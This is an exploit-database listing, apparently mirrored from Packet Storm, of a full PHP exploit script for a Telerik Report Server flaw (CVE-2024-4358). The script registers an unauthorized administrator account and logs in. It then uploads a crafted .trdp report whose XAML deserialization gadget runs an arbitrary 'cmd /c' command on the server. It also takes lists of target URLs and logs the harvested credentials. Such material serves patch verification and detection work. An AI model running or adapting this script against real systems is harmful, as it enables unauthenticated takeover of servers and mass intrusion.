Lucene search
K

📄 Telerik Report Server 2024 Q1-10.0.24.305 Remote Code Execution

🗓️ 23 Feb 2026 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 99 Views

Critical unauthenticated code execution in Telerik Report Server caused by insecure deserialization.

Related
Code
=============================================================================================================================================
    | # Title     : Telerik Report Server 2024 Q1-10.0.24.305 RCE via deserialization exploitation                                              |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits)                                                            |
    | # Vendor    : https://www.telerik.com/report-server                                                                                       |
    =============================================================================================================================================
    
    [+] Summary : Telerik Report Server versions 2024 Q1 (10.0.24.305) and potentially earlier contain a critical vulnerability 
                  that allows unauthenticated attackers to achieve remote code execution through insecure deserialization in report processing functionality.
                  The vulnerability exists due to improper input validation in the report processing mechanism. Attackers can exploit this by crafting malicious 
    			  report files (.trdp) containing serialized objects that, when deserialized, execute arbitrary code on the server.
    
    [+] Usage: 
    
    php exploit.php http://target:8080 
    
    [+] POC :
    
    <?php
    
    class CVE_2024_4358_Exploit {
        private $colors;
        private $random_color;
        private $options;
    
        const GREEN = "\033[32m";
        const MAGENTA = "\033[35m";
        const CYAN = "\033[36m";
        const RED = "\033[31m";
        const BLUE = "\033[34m";
        const YELLOW = "\033[33m";
        const WHITE = "\033[37m";
        const RESET = "\033[0m";
        const BOLD = "\033[1m";
        
        public function __construct() {
            $this->colors = [self::GREEN, self::CYAN, self::BLUE];
            $this->random_color = $this->colors[array_rand($this->colors)];
            $this->parseOptions();
            $this->showBanner();
        }
        
        private function showBanner() {
            $banner = self::BOLD . $this->random_color . "
     ██╗███╗   ██╗██████╗  ██████╗ ██╗   ██╗███████╗██╗  ██╗██╗  ██╗ █████╗ 
     ██║████╗  ██║██╔══██╗██╔═══██╗██║   ██║██╔════╝██║  ██║██║ ██╔╝██╔══██╗
     ██║██╔██╗ ██║██   █╔╝██║   ██║██║   ██║███████╗███████║█████╔╝ ███████║
     ██║██║╚██╗██║██╔══██╗██║   ██║██║   ██║╚════██║██╔══██║██╔═██╗ ██╔══██║
     ██║██║ ╚████║██████╔╝╚██████╔╝╚██████╔╝███████║██║  ██║██║  ██╗██║  ██║
     ╚═╝╚═╝  ╚═══╝╚═════╝  ╚═════╝  ╚═════╝ ╚══════╝╚═╝  ╚═╝╚═╝  ╚═╝╚═╝  ╚═╝
                     
                        " . self::BOLD . self::WHITE . "@indoushka " . self::RESET . "\n";
            
            echo $banner;
        }
        
        private function parseOptions() {
            $shortopts = "u:l:c:t:o:v";
            $longopts = [
                "url:",
                "list:",
                "command:",
                "threads:",
                "output:",
                "proxy:",
                "verbose"
            ];
            
            $options = getopt($shortopts, $longopts);
            
            $this->options = [
                'url' => $options['u'] ?? $options['url'] ?? null,
                'list' => $options['l'] ?? $options['list'] ?? null,
                'command' => $options['c'] ?? $options['command'] ?? 'id',
                'threads' => $options['t'] ?? $options['threads'] ?? 1,
                'output' => $options['o'] ?? $options['output'] ?? null,
                'proxy' => $options['proxy'] ?? null,
                'verbose' => isset($options['v']) || isset($options['verbose'])
            ];
        }
        
        private function randomizer($length = 30) {
            $characters = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
            $randomString = '';
            for ($i = 0; $i < $length; $i++) {
                $randomString .= $characters[rand(0, strlen($characters) - 1)];
            }
            return $randomString;
        }
        
        private function makeRequest($url, $method = 'GET', $data = null, $headers = [], $proxy = null) {
            $ch = curl_init();
            
            curl_setopt_array($ch, [
                CURLOPT_URL => $url,
                CURLOPT_RETURNTRANSFER => true,
                CURLOPT_TIMEOUT => 30,
                CURLOPT_FOLLOWLOCATION => true,
                CURLOPT_SSL_VERIFYPEER => false,
                CURLOPT_SSL_VERIFYHOST => false,
                CURLOPT_USERAGENT => $this->getRandomUserAgent()
            ]);
            
            if ($method === 'POST') {
                curl_setopt($ch, CURLOPT_POST, true);
                if (is_array($data)) {
                    if (isset($headers['Content-Type']) && strpos($headers['Content-Type'], 'application/json') !== false) {
                        curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($data));
                    } else {
                        curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data));
                    }
                }
            }
            
            if (!empty($headers)) {
                $headerArray = [];
                foreach ($headers as $key => $value) {
                    $headerArray[] = "$key: $value";
                }
                curl_setopt($ch, CURLOPT_HTTPHEADER, $headerArray);
            }
            
            if ($proxy) {
                curl_setopt($ch, CURLOPT_PROXY, $proxy);
            }
            
            $response = curl_exec($ch);
            $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
            curl_close($ch);
            
            return ['code' => $httpCode, 'body' => $response];
        }
        
        private function getRandomUserAgent() {
            $userAgents = [
                'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
                'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36',
                'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36',
                'Mozilla/5.0 (iPhone; CPU iPhone OS 14_0 like Mac OS X) AppleWebKit/605.1.15'
            ];
            return $userAgents[array_rand($userAgents)];
        }
        
        private function createUser($url, $user, $password) {
            $endpoint = $url . '/Startup/Register';
            $data = [
                'Username' => $user,
                'Password' => $password,
                'ConfirmPassword' => $password,
                'Email' => $user . '@' . $user . '.org',
                'FirstName' => $user,
                'LastName' => $user
            ];
            
            $headers = [
                'Content-Type' => 'application/x-www-form-urlencoded'
            ];
            
            $response = $this->makeRequest($endpoint, 'POST', $data, $headers, $this->options['proxy']);
            
            return $response['code'] === 200 ? 'success' : 'failed';
        }
        
        private function login($url, $user, $password) {
            $endpoint = $url . '/Token';
            $data = [
                'grant_type' => 'password',
                'username' => $user,
                'password' => $password
            ];
            
            $headers = [
                'Content-Type' => 'application/x-www-form-urlencoded'
            ];
            
            $response = $this->makeRequest($endpoint, 'POST', $data, $headers, $this->options['proxy']);
            
            if ($response['code'] === 200) {
                $jsonResponse = json_decode($response['body'], true);
                return $jsonResponse['access_token'] ?? null;
            }
            
            return null;
        }
        
        private function createPayload() {
            $zip = new ZipArchive();
            $filename = 'payloads.trdp';
            
            if ($zip->open($filename, ZipArchive::CREATE) === TRUE) {
                // Add [Content_Types].xml
                $zip->addFromString('[Content_Types].xml', 
                    '<?xml version="1.0" encoding="utf-8"?><Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"><Default Extension="xml" ContentType="application/zip" /></Types>');
                
                // Add definition.xml with command
                $definitionXml = '<Report Width="6.5in" Name="oooo"
     xmlns="http://schemas.telerik.com/reporting/2023/1.0">
     <Items>
      <ResourceDictionary
       xmlns="clr-namespace:System.Windows;Assembly:PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35"
       xmlns:System="clr-namespace:System;assembly:mscorlib"
       xmlns:Diag="clr-namespace:System.Diagnostics;assembly:System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"
       xmlns:ODP="clr-namespace:System.Windows.Data;Assembly:PresentationFramework, Version=4.0.0.0, Culture=neutral,    
    PublicKeyToken=31bf3856ad364e35"
      >
       <ODP:ObjectDataProvider MethodName="Start" >
        <ObjectInstance>
         <Diag:Process>
          <StartInfo>
           <Diag:ProcessStartInfo FileName="cmd" Arguments="/c ' . $this->options['command'] . '"></Diag:ProcessStartInfo>
          </StartInfo>
         </Diag:Process>
        </ObjectInstance>
       </ODP:ObjectDataProvider>
      </ResourceDictionary>
     </Items>';
                
                $zip->addFromString('definition.xml', $definitionXml);
                $zip->close();
                $fileContent = file_get_contents($filename);
                return base64_encode($fileContent);
            }
            
            return null;
        }
        
        private function exploit($payload, $url, $authToken, $user, $password) {
            $randomReport = $this->randomizer();
            $endpoint1 = $url . '/api/reportserver/report';
            $data1 = [
                'reportName' => $randomReport,
                'categoryName' => 'Samples',
                'description' => null,
                'reportContent' => $payload,
                'extension' => '.trdp'
            ];
            
            $headers1 = [
                'Authorization' => 'Bearer ' . $authToken,
                'Content-Type' => 'application/json'
            ];
            
            $response1 = $this->makeRequest($endpoint1, 'POST', $data1, $headers1, $this->options['proxy']);
            
            if ($response1['code'] != 200) {
                echo self::BOLD . self::GREEN . "[Vulnerable]" . self::RESET . ": " . self::BOLD . self::WHITE . 
                     "Report for: $url\n Login Credentials: Username: $user | Password: $password | Authentication Token: $authToken\n Deserialization RCE: Failed" . self::RESET . "\n";
                $this->report("Report for: $url\n Login Credentials: Username: $user | Password: $password | Authentication Token: $authToken\n Deserialization RCE: Failed\n----------------------------------");
                return;
            }
            $endpoint2 = $url . '/api/reports/clients';
            $data2 = ['timeStamp' => null];
            $response2 = $this->makeRequest($endpoint2, 'POST', $data2, [], $this->options['proxy']);
            
            if ($response2['code'] == 200) {
                $jsonResponse2 = json_decode($response2['body'], true);
                $clientId = $jsonResponse2['clientId'] ?? null;
            } else {
                echo self::BOLD . self::GREEN . "[Vulnerable]" . self::RESET . ": " . self::BOLD . self::WHITE . 
                     "Report for: $url\n Login Credentials: Username: $user | Password: $password | Authentication Token: $authToken\n Report created: $randomReport\n Deserialization RCE: Failed" . self::RESET . "\n";
                $this->report("Report for: $url\n Login Credentials: Username: $user | Password: $password | Authentication Token: $authToken\n Report created: $randomReport\n Deserialization RCE: Failed\n----------------------------------");
                return;
            }
            
            if (!$clientId) {
                return;
            }
            $endpoint3 = $url . "/api/reports/clients/$clientId/parameters";
            $data3 = [
                'report' => "NAME/Samples/$randomReport/",
                'parameterValues' => []
            ];
            
            $this->makeRequest($endpoint3, 'POST', $data3, $headers1, $this->options['proxy']);
            
            echo self::BOLD . self::GREEN . "[Vulnerable]" . self::RESET . ": " . self::BOLD . self::WHITE . 
                 "Report for: $url\n Login Credentials: Username: $user | Password: $password | Authentication Token: $authToken\n Report created: $randomReport\n Deserialization RCE: Success" . self::RESET . "\n";
            
            $this->report("Report for: $url\n Login Credentials: Username: $user | Password: $password | Authentication Token: $authToken\n Report created: $randomReport\n Deserialization RCE: Success\n----------------------------------");
        }
        
        private function report($result) {
            try {
                $filename = $this->options['output'] ?? 'results.txt';
                file_put_contents($filename, $result . PHP_EOL, FILE_APPEND | LOCK_EX);
            } catch (Exception $e) {
            }
        }
        
        private function processUrl($url) {
            $user = $this->randomizer();
            $password = $this->randomizer();
            
            $status = $this->createUser($url, $user, $password);
            
            if ($status === 'success') {
                usleep(1000); 
                $authToken = $this->login($url, $user, $password);
                
                if ($authToken) {
                    $payload = $this->createPayload();
                    if ($payload) {
                        $this->exploit($payload, $url, $authToken, $user, $password);
                    }
                }
            }
            
            usleep(2000); 
        }
        
        public function run() {
            $urls = [];
            
            if ($this->options['url']) {
                $url = $this->options['url'];
                if (!preg_match('#^https?://#', $url)) {
                    $urls[] = 'https://' . $url;
                    $urls[] = 'http://' . $url;
                } else {
                    $urls[] = $url;
                }
            }
            
            if ($this->options['list']) {
                if (!file_exists($this->options['list'])) {
                    echo self::BOLD . self::RED . "[WRN]" . self::RESET . ": " . self::BOLD . self::WHITE . 
                         $this->options['list'] . " no such file or directory" . self::RESET . "\n";
                    exit(1);
                }
                
                $fileContent = file($this->options['list'], FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
                foreach ($fileContent as $url) {
                    $url = trim($url);
                    if (!preg_match('#^https?://#', $url)) {
                        $urls[] = 'https://' . $url;
                        $urls[] = 'http://' . $url;
                    } else {
                        $urls[] = $url;
                    }
                }
            }
    
            $urls = array_unique($urls);
            
            echo "Starting exploitation for " . count($urls) . " URLs...\n";
            
            foreach ($urls as $url) {
                $this->processUrl($url);
            }
            
            // Clean up
            if (file_exists('payloads.trdp')) {
                unlink('payloads.trdp');
            }
        }
    }
    
    if (in_array('-h', $argv) || in_array('--help', $argv)) {
        echo "Usage: php " . basename(__FILE__) . " [options]\n";
        echo "Options:\n";
        echo "  -u, --url URL        Specify a URL or IP with port for vulnerability detection\n";
        echo "  -l, --list FILE      Specify a list of URLs or IPs for vulnerability detection\n";
        echo "  -c, --command CMD    Specify a shell command to execute (default: 'id')\n";
        echo "  -t, --threads NUM    Number of threads (not fully implemented in PHP version)\n";
        echo "  --proxy URL          Proxy URL to send request via your proxy\n";
        echo "  -v, --verbose        Increases verbosity of output in console\n";
        echo "  -o, --output FILE    Filename to save output of vulnerable target\n";
        exit(0);
    }
    
    $exploit = new CVE_2024_4358_Exploit();
    $exploit->run();
    
    ?>
    
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

23 Feb 2026 00:00Current
7.1High risk
Vulners AI Score7.1
CVSS 3.19.8
EPSS0.94344
99